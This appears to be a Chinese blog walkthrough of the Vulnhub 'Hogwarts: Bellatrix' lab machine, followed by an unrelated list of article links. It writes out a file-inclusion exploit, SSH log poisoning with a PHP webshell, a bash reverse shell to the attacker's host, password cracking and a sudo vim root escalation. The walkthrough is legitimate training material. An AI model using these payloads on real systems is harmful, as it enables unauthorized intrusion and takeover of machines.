当前位置: 首页 > news >正文

Vulnhub: Hogwarts: Bellatrix靶机

kali:192.168.111.111

靶机:192.168.111.228

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.228

在这里插入图片描述

访问80端口

在这里插入图片描述

查看源码,提示ikilledsiriusblack.php和文件包含的参数名file

在这里插入图片描述

漏洞利用

ikilledsiriusblack.php存在文件包含

http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../etc/passwd

在这里插入图片描述

可以包含ssh日志文件/var/log/auth.log

http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../var/log/auth.log

在这里插入图片描述

写入webshell到ssh日志文件

ssh '<?php system($_GET["cmd"]);?>'@192.168.111.228

在这里插入图片描述

执行命令

http://192.168.111.228/ikilledsiriusblack.php?file=../../../../../../../../../../../../var/log/auth.log&cmd=id

在这里插入图片描述

执行反弹shell

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'

在这里插入图片描述

提权

/var/www/html/c2VjcmV0cw==目录中发现密码字典和lestrange的密码密文

在这里插入图片描述

在这里插入图片描述

利用john爆破密文,密码:ihateharrypotter

john hash --wordlist=./pass.txt

在这里插入图片描述

lestrange用户sudo权限

在这里插入图片描述

提权方法:https://gtfobins.github.io/gtfobins/vim/#sudo

在这里插入图片描述

提升为root

sudo -u root vim -c ':!/bin/bash'

在这里插入图片描述

flag

在这里插入图片描述

http://www.lryc.cn/news/155111.html

相关文章:

  • 机器学习(吴恩达第一课)
  • 固定资产管理怎么改革
  • 【js】防抖和节流的使用场景和区别:
  • Blazor前后端框架Known-V1.2.14
  • 港陆证券:五日线破位怎么看?
  • 睿趣科技:抖音小店多久可以做起来
  • onnx 模型切割掉conv后面的节点,设置输出层名称和最后节点名称一致,设置输出层shape和输出节点一致.
  • 泛型的学习
  • L1-061 新胖子公式(Python实现) 测试点全过
  • 潜艇来袭(Qt官方案例-2维动画游戏)
  • 50ETF期权开户平台(0门槛期权开户指南)
  • leaflet · 关于轨迹移动
  • 学生宿舍水电费自动缴费系统/基于javaweb的水电缴费系统
  • 机器人中的数值优化(十三)——QP二次规划
  • 语言深入理解指针(非常详细)(三)
  • 实训笔记8.31
  • el-table 垂直表头
  • B081-Lucene+ElasticSearch
  • 机器学习:塑造未来的核心力量
  • RK3568-i2c-适配8010rtc时钟芯片
  • Spring Security - 基于内存快速demo
  • 6 | 从文本文件中读取单词并输出不重复的单词列表
  • 【微信小程序篇】- 多环境(版本)配置
  • ssh配置(一、GitLabGitHub)
  • 开了抖店后就可以直播带货了吗?想在抖音带货的,建议认真看完!
  • 【深度学习实验】数据可视化
  • 【Golang】函数篇
  • 在ubuntu上安装ns2和nam(ubuntu16.04)
  • SpringCloudAlibaba之Sentinel介绍
  • 苹果微信聊天记录删除了怎么恢复?果粉原来是这样恢复的